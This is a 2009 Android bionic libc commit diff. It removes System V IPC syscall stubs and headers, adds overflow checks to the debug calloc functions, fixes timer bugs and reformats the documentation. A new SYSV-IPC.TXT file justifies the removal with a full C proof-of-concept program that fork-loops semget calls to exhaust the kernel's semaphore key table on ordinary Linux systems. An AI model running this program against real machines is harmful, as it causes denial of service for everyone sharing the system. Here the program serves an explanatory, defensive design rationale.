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The Android Open Source Project 2009-02-19 10:57:29 -08:00
parent 2489551343
commit 6f04a0f4c7
29 changed files with 1594 additions and 845 deletions
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16
libc/SYSCALLS.TXT
View File

@ -216,22 +216,6 @@ int sched_get_priority_max(int policy) 159
int sched_get_priority_min(int policy) 160
int sched_rr_get_interval(pid_t pid, struct timespec *interval) 161
# system-V inter-process communication
# TODO: implement x86 stubs for these functions when needed (when ?)
#
int semctl(int semid, int semnum, int cmd, ...) 300,-1
int semget(key_t key, int nsems, int semflg) 299,-1
int semop(int semid, struct sembuf* sops, size_t nsops) 298,-1
void* shmat(int shmid, const void* shmaddr, int shmflg) 305,-1
int shmctl(int shmid, int cmd, struct shmid_ds* buf) 308,-1
int shmdt(const void* shmaddr) 306,-1
int shmget(key_t key, size_t size, int shmflg) 307,-1
int msgctl(int msqid, int cmd, struct msqid_ds *buf) 304,-1
int msgget(key_t key, int msgflg) 303,-1
int msgrcv(int msqid, void* msgp, size_t msgsz, long int msgtyp, int msgflg) 302,-1
int msgsnd(int msqid, const void* msgp, size_t msgsz, int msgflg) 301,-1
# other
int uname(struct utsname *) 122
pid_t __wait4:wait4(pid_t pid, int *status, int options, struct rusage *rusage) 114

11
libc/arch-arm/syscalls.mk
View File

@ -150,17 +150,6 @@ syscall_src += arch-arm/syscalls/sched_getparam.S
syscall_src += arch-arm/syscalls/sched_get_priority_max.S
syscall_src += arch-arm/syscalls/sched_get_priority_min.S
syscall_src += arch-arm/syscalls/sched_rr_get_interval.S
syscall_src += arch-arm/syscalls/semctl.S
syscall_src += arch-arm/syscalls/semget.S
syscall_src += arch-arm/syscalls/semop.S
syscall_src += arch-arm/syscalls/shmat.S
syscall_src += arch-arm/syscalls/shmctl.S
syscall_src += arch-arm/syscalls/shmdt.S
syscall_src += arch-arm/syscalls/shmget.S
syscall_src += arch-arm/syscalls/msgctl.S
syscall_src += arch-arm/syscalls/msgget.S
syscall_src += arch-arm/syscalls/msgrcv.S
syscall_src += arch-arm/syscalls/msgsnd.S
syscall_src += arch-arm/syscalls/uname.S
syscall_src += arch-arm/syscalls/__wait4.S
syscall_src += arch-arm/syscalls/umask.S

19
libc/arch-arm/syscalls/msgctl.S
View File

@ -1,19 +0,0 @@
/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>
.text
.type msgctl, #function
.globl msgctl
.align 4
.fnstart
msgctl:
.save {r4, r7}
stmfd sp!, {r4, r7}
ldr r7, =__NR_msgctl
swi #0
ldmfd sp!, {r4, r7}
movs r0, r0
bxpl lr
b __set_syscall_errno
.fnend

19
libc/arch-arm/syscalls/msgget.S
View File

@ -1,19 +0,0 @@
/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>
.text
.type msgget, #function
.globl msgget
.align 4
.fnstart
msgget:
.save {r4, r7}
stmfd sp!, {r4, r7}
ldr r7, =__NR_msgget
swi #0
ldmfd sp!, {r4, r7}
movs r0, r0
bxpl lr
b __set_syscall_errno
.fnend

21
libc/arch-arm/syscalls/msgrcv.S
View File

@ -1,21 +0,0 @@
/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>
.text
.type msgrcv, #function
.globl msgrcv
.align 4
.fnstart
msgrcv:
mov ip, sp
.save {r4, r5, r6, r7}
stmfd sp!, {r4, r5, r6, r7}
ldmfd ip, {r4, r5, r6}
ldr r7, =__NR_msgrcv
swi #0
ldmfd sp!, {r4, r5, r6, r7}
movs r0, r0
bxpl lr
b __set_syscall_errno
.fnend

19
libc/arch-arm/syscalls/msgsnd.S
View File

@ -1,19 +0,0 @@
/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>
.text
.type msgsnd, #function
.globl msgsnd
.align 4
.fnstart
msgsnd:
.save {r4, r7}
stmfd sp!, {r4, r7}
ldr r7, =__NR_msgsnd
swi #0
ldmfd sp!, {r4, r7}
movs r0, r0
bxpl lr
b __set_syscall_errno
.fnend

19
libc/arch-arm/syscalls/semctl.S
View File

@ -1,19 +0,0 @@
/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>
.text
.type semctl, #function
.globl semctl
.align 4
.fnstart
semctl:
.save {r4, r7}
stmfd sp!, {r4, r7}
ldr r7, =__NR_semctl
swi #0
ldmfd sp!, {r4, r7}
movs r0, r0
bxpl lr
b __set_syscall_errno
.fnend

19
libc/arch-arm/syscalls/semget.S
View File

@ -1,19 +0,0 @@
/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>
.text
.type semget, #function
.globl semget
.align 4
.fnstart
semget:
.save {r4, r7}
stmfd sp!, {r4, r7}
ldr r7, =__NR_semget
swi #0
ldmfd sp!, {r4, r7}
movs r0, r0
bxpl lr
b __set_syscall_errno
.fnend

19
libc/arch-arm/syscalls/semop.S
View File

@ -1,19 +0,0 @@
/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>
.text
.type semop, #function
.globl semop
.align 4
.fnstart
semop:
.save {r4, r7}
stmfd sp!, {r4, r7}
ldr r7, =__NR_semop
swi #0
ldmfd sp!, {r4, r7}
movs r0, r0
bxpl lr
b __set_syscall_errno
.fnend

19
libc/arch-arm/syscalls/shmat.S
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@ -1,19 +0,0 @@
/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>
.text
.type shmat, #function
.globl shmat
.align 4
.fnstart
shmat:
.save {r4, r7}
stmfd sp!, {r4, r7}
ldr r7, =__NR_shmat
swi #0
ldmfd sp!, {r4, r7}
movs r0, r0
bxpl lr
b __set_syscall_errno
.fnend

19
libc/arch-arm/syscalls/shmctl.S
View File

@ -1,19 +0,0 @@
/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>
.text
.type shmctl, #function
.globl shmctl
.align 4
.fnstart
shmctl:
.save {r4, r7}
stmfd sp!, {r4, r7}
ldr r7, =__NR_shmctl
swi #0
ldmfd sp!, {r4, r7}
movs r0, r0
bxpl lr
b __set_syscall_errno
.fnend

19
libc/arch-arm/syscalls/shmdt.S
View File

@ -1,19 +0,0 @@
/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>
.text
.type shmdt, #function
.globl shmdt
.align 4
.fnstart
shmdt:
.save {r4, r7}
stmfd sp!, {r4, r7}
ldr r7, =__NR_shmdt
swi #0
ldmfd sp!, {r4, r7}
movs r0, r0
bxpl lr
b __set_syscall_errno
.fnend

19
libc/arch-arm/syscalls/shmget.S
View File

@ -1,19 +0,0 @@
/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>
.text
.type shmget, #function
.globl shmget
.align 4
.fnstart
shmget:
.save {r4, r7}
stmfd sp!, {r4, r7}
ldr r7, =__NR_shmget
swi #0
ldmfd sp!, {r4, r7}
movs r0, r0
bxpl lr
b __set_syscall_errno
.fnend

26
libc/bionic/malloc_leak.c
View File

@ -58,6 +58,8 @@
#define SIZE_FLAG_ZYGOTE_CHILD (1<<31)
#define SIZE_FLAG_MASK (SIZE_FLAG_ZYGOTE_CHILD)
#define MAX_SIZE_T (~(size_t)0)
/*
* In a VM process, this is set to 1 after fork()ing out of zygote.
*/
@ -608,8 +610,16 @@ void chk_free(void* mem)
void* chk_calloc(size_t n_elements, size_t elem_size)
{
size_t size = n_elements * elem_size;
void* ptr = chk_malloc(size);
size_t size;
void* ptr;
/* Fail on overflow - just to be safe even though this code runs only
* within the debugging C library, not the production one */
if (n_elements && MAX_SIZE_T / n_elements < elem_size) {
return NULL;
}
size = n_elements * elem_size;
ptr = chk_malloc(size);
if (ptr != NULL) {
memset(ptr, 0, size);
}
@ -763,8 +773,16 @@ void leak_free(void* mem)
void* leak_calloc(size_t n_elements, size_t elem_size)
{
size_t size = n_elements * elem_size;
void* ptr = leak_malloc(size);
size_t size;
void* ptr;
/* Fail on overflow - just to be safe even though this code runs only
* within the debugging C library, not the production one */
if (n_elements && MAX_SIZE_T / n_elements < elem_size) {
return NULL;
}
size = n_elements * elem_size;
ptr = leak_malloc(size);
if (ptr != NULL) {
memset(ptr, 0, size);
}

8
libc/bionic/pthread-timers.c
View File

@ -469,7 +469,7 @@ timer_settime( timer_t id,
}
if ( __likely(!TIMER_ID_IS_WRAPPED(id)) ) {
return __timer_gettime( id, ospec );
return __timer_settime( id, flags, spec, ospec );
} else {
thr_timer_t* timer = thr_timer_from_id(id);
struct timespec expires, now;
@ -560,11 +560,11 @@ timer_thread_start( void* _arg )
if (timespec_cmp( &expires, &now ) > 0)
{
/* cool, there was no overrun, so compute the
* relative timeout as 'now - expires', then wait
* relative timeout as 'expires - now', then wait
*/
int ret;
struct timespec diff = now;
timespec_sub( &diff, &expires );
struct timespec diff = expires;
timespec_sub( &diff, &now );
ret = __pthread_cond_timedwait_relative(
&timer->cond, &timer->mutex, &diff);

312
libc/docs/OVERVIEW.TXT
View File

@ -7,89 +7,93 @@ Core Philosophy:
The core idea behind Bionic's design is: KEEP IT REALLY SIMPLE.
This implies that the C library should only provide lightweight wrappers around kernel
facilities and not try to be too smart to deal with edge cases.
This implies that the C library should only provide lightweight wrappers
around kernel facilities and not try to be too smart to deal with edge cases.
The name "Bionic" comes from the fact that it is part-BSD and part-Linux: its source
code consists in a mix of BSD C library pieces with custom Linux-specific bits used
to deal with threads, processes, signals and a few others things.
The name "Bionic" comes from the fact that it is part-BSD and part-Linux:
its source code consists in a mix of BSD C library pieces with custom
Linux-specific bits used to deal with threads, processes, signals and a few
others things.
All original BSD pieces carry the BSD copyright disclaimer. Bionic-specific bits
carry the Android Open Source Project copyright disclaimer. And everything is released
under the BSD license.
All original BSD pieces carry the BSD copyright disclaimer. Bionic-specific
bits carry the Android Open Source Project copyright disclaimer. And
everything is released under the BSD license.
Architectures:
Bionic currently supports the ARM and x86 instruction sets. In theory, it should be
possible to support more, but this may require a little work (e.g. adding system
call IDs to SYSCALLS.TXT, described below, or modifying the dynamic linker).
Bionic currently supports the ARM and x86 instruction sets. In theory, it
should be possible to support more, but this may require a little work (e.g.
adding system call IDs to SYSCALLS.TXT, described below, or modifying the
dynamic linker).
The ARM-specific code is under arch-arm/ and the x86-specific one is under arch-x86/
The ARM-specific code is under arch-arm/ and the x86-specific one is under
arch-x86/
Note that the x86 version is only meant to run on an x86 Android device. We make
absolutely no claim that you could build and use Bionic on a stock x86 Linux
distribution (though that would be cool, so patches are welcomed :-))
Note that the x86 version is only meant to run on an x86 Android device. We
make absolutely no claim that you could build and use Bionic on a stock x86
Linux distribution (though that would be cool, so patches are welcomed :-))
Syscall stubs:
Each system call function is implemented by a tiny assembler source fragment
(called a "syscall stub"), which is generated automatically by tools/gensyscalls.py
which reads the SYSCALLS.TXT file for input.
(called a "syscall stub"), which is generated automatically by
tools/gensyscalls.py which reads the SYSCALLS.TXT file for input.
SYSCALLS.TXT contains the list of all syscall stubs to generate, along with
the corresponding syscall numeric identifier (which may differ between ARM and x86),
and its signature
the corresponding syscall numeric identifier (which may differ between ARM
and x86), and its signature
If you modify this file, you may want to use tools/checksyscalls.py which checks
its content against official Linux kernel header files, and will report errors when
invalid syscall ids are used.
If you modify this file, you may want to use tools/checksyscalls.py which
checks its content against official Linux kernel header files, and will
report errors when invalid syscall ids are used.
Sometimes, the C library function is really a wrapper that calls the corresponding
syscall with another name. For example, the exit() function is provided by the C
library and calls the _exit() syscall stub.
Sometimes, the C library function is really a wrapper that calls the
corresponding syscall with another name. For example, the exit() function
is provided by the C library and calls the _exit() syscall stub.
See SYSCALLS.TXT for documentation and details.
time_t:
time_t is 32-bit as defined by the kernel on 32-bit CPUs. A 64-bit version would
be preferrable to avoid the Y2038 bug, but the kernel maintainers consider that
this is not needed at the moment.
time_t is 32-bit as defined by the kernel on 32-bit CPUs. A 64-bit version
would be preferrable to avoid the Y2038 bug, but the kernel maintainers
consider that this is not needed at the moment.
Instead, Bionic provides a <time64.h> header that defines a time64_t type, and
related functions like mktime64(), localtime64(), etc...
Instead, Bionic provides a <time64.h> header that defines a time64_t type,
and related functions like mktime64(), localtime64(), etc...
Timezone management:
The name of the current timezone is taken from the TZ environment variable, if defined.
Otherwise, the system property named 'persist.sys.timezone' is checked instead.
The name of the current timezone is taken from the TZ environment variable,
if defined. Otherwise, the system property named 'persist.sys.timezone' is
checked instead.
The zoneinfo timezone database and index files are located under directory
/system/usr/share/zoneinfo, instead of the more Posix path of /usr/share/zoneinfo
/system/usr/share/zoneinfo, instead of the more Posix-compliant path of
/usr/share/zoneinfo
off_t:
For similar reasons, off_t is 32-bit. We define loff_t as the 64-bit variant due
to BSD inheritance, but off64_t should be available as a typedef to ease porting of
current Linux-specific code.
For similar reasons, off_t is 32-bit. We define loff_t as the 64-bit variant
due to BSD inheritance, but off64_t should be available as a typedef to ease
porting of current Linux-specific code.
Linux kernel headers:
Bionic comes with its own set of "clean" Linux kernel headers to allow user-space
code to use kernel-specific declarations (e.g. IOCTLs, structure declarations,
constants, etc...). They are located in:
Bionic comes with its own set of "clean" Linux kernel headers to allow
user-space code to use kernel-specific declarations (e.g. IOCTLs, structure
declarations, constants, etc...). They are located in:
./kernel/common,
./kernel/arch-arm
./kernel/arch-x86
These headers have been generated by a tool (kernel/tools/update-all.py) to only
include the public definitions from the original Linux kernel headers.
These headers have been generated by a tool (kernel/tools/update-all.py) to
only include the public definitions from the original Linux kernel headers.
If you want to know why and how this is done, read kernel/README.TXT to get
all the (gory) details.
@ -97,21 +101,23 @@ Linux kernel headers:
PThread implementation:
Bionic's C library comes with its own pthread implementation bundled in. This is
different from other historical C libraries which:
Bionic's C library comes with its own pthread implementation bundled in.
This is different from other historical C libraries which:
- place it in an external library (-lpthread)
- play linker tricks with weak symbols at dynamic link time
The support for real-time features (a.k.a. -lrt) is also bundled in the C library.
The support for real-time features (a.k.a. -lrt) is also bundled in the
C library.
The implementation is based on futexes and strives to provide *very* short code paths
for common operations. Notable features are the following:
The implementation is based on futexes and strives to provide *very* short
code paths for common operations. Notable features are the following:
- pthread_mutex_t, pthread_cond_t are only 4 bytes each.
- Normal, recursive and error-check mutexes are supported, and the code path
is heavily optimized for the normal case, which is used most of the time.
- Normal, recursive and error-check mutexes are supported, and the code
path is heavily optimized for the normal case, which is used most of
the time.
- Process-shared mutexes and condition variables are not supported.
Their implementation requires far more complexity and was absolutely
@ -123,8 +129,9 @@ PThread implementation:
paths slightly slower though).
- There is currently no support for read/write locks, priority-ceiling in
mutexes and other more advanced features. Again, the main idea being that
this was not needed for Android at all but could be added in the future.
mutexes and other more advanced features. Again, the main idea being
that this was not needed for Android at all but could be added in the
future.
pthread_cancel():
@ -134,13 +141,13 @@ pthread_cancel():
Consider that:
- A proper implementation must insert pthread cancellation checks in a lot
of different places of the C library. And conformance is very difficult to
test properly.
of different places of the C library. And conformance is very difficult
to test properly.
- A proper implementation must also clean up resources, like releasing memory,
or unlocking mutexes, properly if the cancellation happens in a complex
function (e.g. inside gethostbyname() or fprintf() + complex formatting
rules). This tends to slow down the path of many functions.
- A proper implementation must also clean up resources, like releasing
memory, or unlocking mutexes, properly if the cancellation happens in a
complex function (e.g. inside gethostbyname() or fprintf() + complex
formatting rules). This tends to slow down the path of many functions.
- pthread cancellation cannot stop all threads: e.g. it can't do anything
against an infinite loop
@ -151,18 +158,20 @@ pthread_cancel():
All of this is contrary to the Bionic design goals. If your code depends on
thread cancellation, please consider alternatives.
Note however that Bionic does implement pthread_cleanup_push() and pthread_cleanup_pop(),
which can be used to handle cleanups that happen when a thread voluntarily exits
through pthread_exit() or returning from its main function.
Note however that Bionic does implement pthread_cleanup_push() and
pthread_cleanup_pop(), which can be used to handle cleanups that happen when
a thread voluntarily exits through pthread_exit() or returning from its
main function.
pthread_once():
Do not call fork() within a callback provided to pthread_once(). Doing this
may result in a deadlock in the child process the next time it calls pthread_once().
may result in a deadlock in the child process the next time it calls
pthread_once().
Also, you can't throw a C++ Exception from the callback (see C++ Exception Support
below).
Also, you can't throw a C++ Exception from the callback (see C++ Exception
Support below).
The current implementation of pthread_once() lacks the necessary support of
multi-core-safe double-checked-locking (read and write barriers).
@ -170,27 +179,27 @@ pthread_once():
Thread-specific data
The thread-specific storage only provides for a bit less than 64 pthread_key_t
objects to each process. The implementation provides 64 real slots but also
uses about 5 of them (exact number may depend on implementation) for its
own use (e.g. two slots are pre-allocated by the C library to speed-up the
Android OpenGL sub-system).
The thread-specific storage only provides for a bit less than 64
pthread_key_t objects to each process. The implementation provides 64 real
slots but also uses about 5 of them (exact number may depend on
implementation) for its own use (e.g. two slots are pre-allocated by the C
library to speed-up the Android OpenGL sub-system).
Note that Posix mandates a minimum of 128 slots, but we do not claim to be
Posix-compliant.
Except for the main thread, the TLS area is stored at the top of the stack. See
comments in bionic/libc/bionic/pthread.c for details.
Except for the main thread, the TLS area is stored at the top of the stack.
See comments in bionic/libc/bionic/pthread.c for details.
At the moment, thread-local storage defined through the __thread compiler keyword
is not supported by the Bionic C library and dynamic linker.
At the moment, thread-local storage defined through the __thread compiler
keyword is not supported by the Bionic C library and dynamic linker.
Multi-core support
At the moment, Bionic does not provide or use read/write memory barriers.
This means that using it on certain multi-core systems might not be supported,
depending on its exact CPU architecture.
This means that using it on certain multi-core systems might not be
supported, depending on its exact CPU architecture.
Android-specific features:
@ -201,67 +210,69 @@ Android-specific features:
Android provides a simple shared value/key space to all processes on the
system. It stores a liberal number of 'properties', each of them being a
simple size-limited string that can be associated to a size-limited string
value.
simple size-limited string that can be associated to a size-limited
string value.
The header <sys/system_properties.h> can be used to read system properties
and also defines the maximum size of keys and values.
The header <sys/system_properties.h> can be used to read system
properties and also defines the maximum size of keys and values.
- Android-specific user/group management:
There is no /etc/passwd or /etc/groups in Android. By design, it is meant to
be used by a single handset user. On the other hand, Android uses the Linux
user/group management features extensively to secure process permissions,
like access to various filesystem directories.
There is no /etc/passwd or /etc/groups in Android. By design, it is
meant to be used by a single handset user. On the other hand, Android
uses the Linux user/group management features extensively to secure
process permissions, like access to various filesystem directories.
In the Android scheme, each installed application gets its own uid_t/gid_t
starting from 10000; lower numerical ids are reserved for system daemons.
In the Android scheme, each installed application gets its own
uid_t/gid_t starting from 10000; lower numerical ids are reserved for
system daemons.
getpwnam() recognizes some hard-coded subsystems names (e.g. "radio") and
will translate them to their low-user-id values. It also recognizes "app_1234"
as the synthetic name of the application that was installed with uid 10000 + 1234,
which is 11234. getgrnam() works similarly
getpwnam() recognizes some hard-coded subsystems names (e.g. "radio")
and will translate them to their low-user-id values. It also recognizes
"app_1234" as the synthetic name of the application that was installed
with uid 10000 + 1234, which is 11234. getgrnam() works similarly
getgrouplist() will always return a single group for any user name, which is
the one passed as an input parameter.
getgrouplist() will always return a single group for any user name,
which is the one passed as an input parameter.
getgrgid() will similarly only return a structure that contains a single-element
members list, corresponding to the user with the same numerical value than the
group.
getgrgid() will similarly only return a structure that contains a
single-element members list, corresponding to the user with the same
numerical value than the group.
See bionic/libc/bionic/stubs.c for more details.
- getservent()
There is no /etc/services on Android. Instead the C library embeds a constant
list of services in its executable, which is parsed on demand by the various
functions that depend on it. See bionic/libc/netbsd/net/getservent.c and
There is no /etc/services on Android. Instead the C library embeds a
constant list of services in its executable, which is parsed on demand
by the various functions that depend on it. See
bionic/libc/netbsd/net/getservent.c and
bionic/libc/netbsd/net/services.h
The list of services defined internally might change liberally in the future.
This feature is mostly historically and is very rarely used.
The list of services defined internally might change liberally in the
future. This feature is mostly historically and is very rarely used.
The getservent() returns thread-local data. getservbyport() and getservbyname()
are also implemented in a similar fashion.
The getservent() returns thread-local data. getservbyport() and
getservbyname() are also implemented in a similar fashion.
- getprotoent()
There is no /etc/protocol on Android. Bionic does not currently implement
getprotoent() and related functions. If we add it, it will likely be done
in a way similar to getservent()
There is no /etc/protocol on Android. Bionic does not currently
implement getprotoent() and related functions. If added, it will
likely be done in a way similar to getservent()
DNS resolver:
Bionic uses a NetBSD-derived resolver library which has been modified in the following
ways:
Bionic uses a NetBSD-derived resolver library which has been modified in
the following ways:
- don't implement the name-server-switch feature (a.k.a. <nsswitch.h>)
- read /system/etc/resolv.conf instead of /etc/resolv.conf
- read the list of servers from system properties. the code looks for
'net.dns1', 'net.dns2', etc.. Each property should contain the IP address
of a DNS server.
'net.dns1', 'net.dns2', etc.. Each property should contain the IP
address of a DNS server.
these properties are set/modified by other parts of the Android system
(e.g. the dhcpd daemon).
@ -278,9 +289,9 @@ DNS resolver:
- get rid of *many* unfortunate thread-safety issues in the original code
Bionic does *not* expose implementation details of its DNS resolver; the content
of <arpa/nameser.h> is intentionally blank. The resolver implementation might
change completely in the future.
Bionic does *not* expose implementation details of its DNS resolver; the
content of <arpa/nameser.h> is intentionally blank. The resolver
implementation might change completely in the future.
PThread Real-Time Timers:
@ -294,8 +305,8 @@ PThread Real-Time Timers:
timers with compatible properties are used.
This means that if your code uses a lot of SIGEV_THREAD timers, your program
may consume a lot of memory. However, if your program needs many of these timers,
it'd better handle timeout events directly instead.
may consume a lot of memory. However, if your program needs many of these
timers, it'd better handle timeout events directly instead.
Other timers (e.g. SIGEV_SIGNAL) are handled by the kernel and use much less
system resources.
@ -303,58 +314,71 @@ PThread Real-Time Timers:
Binary Compatibility:
Bionic is *not* in any way binary-compatible with the GNU C Library, ucLibc or any
known Linux C library. This means several things:
Bionic is *not* in any way binary-compatible with the GNU C Library, ucLibc
or any known Linux C library. This means several things:
- You cannot expect to build something against the GNU C Library headers and have
it dynamically link properly to Bionic later.
- You cannot expect to build something against the GNU C Library headers and
have it dynamically link properly to Bionic later.
- You should *really* use the Android toolchain to build your program against Bionic.
The toolchain deals with many important details that are crucial to get something
working properly.
- You should *really* use the Android toolchain to build your program against
Bionic. The toolchain deals with many important details that are crucial
to get something working properly.
Failure to do so will usually result in the inability to run or link your program,
or even runtime crashes. Several random web pages on the Internet describe how you
can succesfully write a "hello-world" program with the ARM GNU toolchain. These
examples usually work by chance, if anything else, and you should not follow these
instructions unless you want to waste a lot of your time in the process.
Failure to do so will usually result in the inability to run or link your
program, or even runtime crashes. Several random web pages on the Internet
describe how you can succesfully write a "hello-world" program with the
ARM GNU toolchain. These examples usually work by chance, if anything else,
and you should not follow these instructions unless you want to waste a lot
of your time in the process.
Note however that you *can* generate a binary that is built against the
GNU C Library headers and then statically linked to it. The corresponding
executable should be able to run (if it doesn't use dlopen()/dlsym())
Note however that you *can* generate a binary that is built against the GNU C Library
headers and then statically linked to it. The corresponding executable should be able
to run (if it doesn't use dlopen()/dlsym())
Dynamic Linker:
Bionic comes with its own dynamic linker (just like ld.so on Linux really comes from
GLibc). This linker does not support all the relocations generated by other GCC ARM
toolchains.
Bionic comes with its own dynamic linker (just like ld.so on Linux really
comes from GLibc). This linker does not support all the relocations
generated by other GCC ARM toolchains.
C++ Exceptions Support:
At the moment, Bionic doesn't support C++ exceptions, what this really means is the
following:
At the moment, Bionic doesn't support C++ exceptions, what this really means
is the following:
- If pthread_once() is called with a C++ callback that throws an exception,
then the C library will keep the corresponding pthread_once_t mutex locked.
Any further call to pthread_once() will result in a deadlock.
then the C library will keep the corresponding pthread_once_t mutex
locked. Any further call to pthread_once() will result in a deadlock.
A proper implementation should be able to register a C++ exception cleanup
handler before the callback to properly unlock the pthread_once_t. Unfortunately
this requires tricky assembly code that is highly dependent on the compiler.
A proper implementation should be able to register a C++ exception
cleanup handler before the callback to properly unlock the
pthread_once_t. Unfortunately this requires tricky assembly code that
is highly dependent on the compiler.
This feature is not planned to be supported anytime soon.
- The same problem may arise if you throw an exception within a callback called
from the C library. Fortunately, these cases are very rare in the real-world,
but any callback you provide to the C library should *not* throw an exception.
- The same problem may arise if you throw an exception within a callback
called from the C library. Fortunately, these cases are very rare in the
real-world, but any callback you provide to the C library should *not*
throw an exception.
- Bionic lacks a few support functions to have exception support work properly.
- Bionic lacks a few support functions to have exception support work
properly.
System V IPCs:
Bionic intentionally does not provide support for System-V IPCs mechanisms,
like the ones provided by semget(), shmget(), msgget(). The reason for this
is to avoid denial-of-service. For a detailed rationale about this, please
read the file docs/SYSV-IPCS.TXT.
Include Paths:
The Android build system should automatically provide the necessary include paths
required to build against the C library headers. However, if you want to do that
yourself, you will need to add:
The Android build system should automatically provide the necessary include
paths required to build against the C library headers. However, if you want
to do that yourself, you will need to add:
libc/arch-$ARCH/include
libc/include

103
libc/docs/SYSV-IPC.TXT Normal file
View File

@ -0,0 +1,103 @@
Android does not support System V IPCs, i.e. the facilities provided by the
following standard Posix headers:
<sys/sem.h> /* SysV semaphores */
<sys/shm.h> /* SysV shared memory segments */
<sys/msg.h> /* SysV message queues */
<sys/ipc.h> /* General IPC definitions */
The reason for this is due to the fact that, by design, they lead to global
kernel resource leakage.
For example, there is no way to automatically release a SysV semaphore
allocated in the kernel when:
- a buggy or malicious process exits
- a non-buggy and non-malicious process crashes or is explicitely killed.
Killing processes automatically to make room for new ones is an
important part of Android's application lifecycle implementation. This means
that, even assuming only non-buggy and non-malicious code, it is very likely
that over time, the kernel global tables used to implement SysV IPCs will fill
up.
At that point, strange failures are likely to occur and prevent programs that
use them to run properly until the next reboot of the system.
And we can't ignore potential malicious applications. As a proof of concept
here is a simple exploit that you can run on a standard Linux box today:
--------------- cut here ------------------------
#include <sys/sem.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#define NUM_SEMAPHORES 32
#define MAX_FAILS 10
int main(void)
{
int counter = 0;
int fails = 0;
if (counter == IPC_PRIVATE)
counter++;
printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);
for (;;) {
int ret = fork();
int status;
if (ret < 0) {
perror("fork:");
break;
}
if (ret == 0) {
/* in the child */
ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );
if (ret < 0) {
return errno;
}
return 0;
}
else {
/* in the parent */
ret = wait(&status);
if (ret < 0) {
perror("waitpid:");
break;
}
if (status != 0) {
status = WEXITSTATUS(status);
fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,
counter, status);
if (++fails >= MAX_FAILS)
break;
}
}
counter++;
if ((counter % 1000) == 0) {
printf("%d\n", counter);
}
if (counter == IPC_PRIVATE)
counter++;
}
return 0;
}
--------------- cut here ------------------------
If you run it on a typical Linux distribution today, you'll discover that it
will quickly fill up the kernel's table of unique key_t values, and that
strange things will happen in some parts of the system, but not all.
(You can use the "ipcs -u" command to get a summary describing the kernel
tables and their allocations)
For example, in our experience, anything program launched after that that
calls strerror() will simply crash. The USB sub-system starts spoutting weird
errors to the system console, etc...

11
libc/include/sys/linux-syscalls.h
View File

@ -170,17 +170,6 @@
#define __NR_getsockopt (__NR_SYSCALL_BASE + 295)
#define __NR_sendmsg (__NR_SYSCALL_BASE + 296)
#define __NR_recvmsg (__NR_SYSCALL_BASE + 297)
#define __NR_semctl (__NR_SYSCALL_BASE + 300)
#define __NR_semget (__NR_SYSCALL_BASE + 299)
#define __NR_semop (__NR_SYSCALL_BASE + 298)
#define __NR_shmat (__NR_SYSCALL_BASE + 305)
#define __NR_shmctl (__NR_SYSCALL_BASE + 308)
#define __NR_shmdt (__NR_SYSCALL_BASE + 306)
#define __NR_shmget (__NR_SYSCALL_BASE + 307)
#define __NR_msgctl (__NR_SYSCALL_BASE + 304)
#define __NR_msgget (__NR_SYSCALL_BASE + 303)
#define __NR_msgrcv (__NR_SYSCALL_BASE + 302)
#define __NR_msgsnd (__NR_SYSCALL_BASE + 301)
#define __NR_epoll_create (__NR_SYSCALL_BASE + 250)
#define __NR_epoll_ctl (__NR_SYSCALL_BASE + 251)
#define __NR_epoll_wait (__NR_SYSCALL_BASE + 252)

11
libc/include/sys/linux-unistd.h
View File

@ -179,17 +179,6 @@ int sched_getparam (pid_t pid, struct sched_param *param);
int sched_get_priority_max (int policy);
int sched_get_priority_min (int policy);
int sched_rr_get_interval (pid_t pid, struct timespec *interval);
int semctl (int semid, int semnum, int cmd, ...);
int semget (key_t key, int nsems, int semflg);
int semop (int semid, struct sembuf* sops, size_t nsops);
void* shmat (int shmid, const void* shmaddr, int shmflg);
int shmctl (int shmid, int cmd, struct shmid_ds* buf);
int shmdt (const void* shmaddr);
int shmget (key_t key, size_t size, int shmflg);
int msgctl (int msqid, int cmd, struct msqid_ds *buf);
int msgget (key_t key, int msgflg);
int msgrcv (int msqid, void* msgp, size_t msgsz, long int msgtyp, int msgflg);
int msgsnd (int msqid, const void* msgp, size_t msgsz, int msgflg);
int uname (struct utsname *);
pid_t __wait4 (pid_t pid, int *status, int options, struct rusage *rusage);
mode_t umask (mode_t);

43
libc/include/sys/msg.h
View File

@ -1,43 +0,0 @@
/*
* Copyright (C) 2008 The Android Open Source Project
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
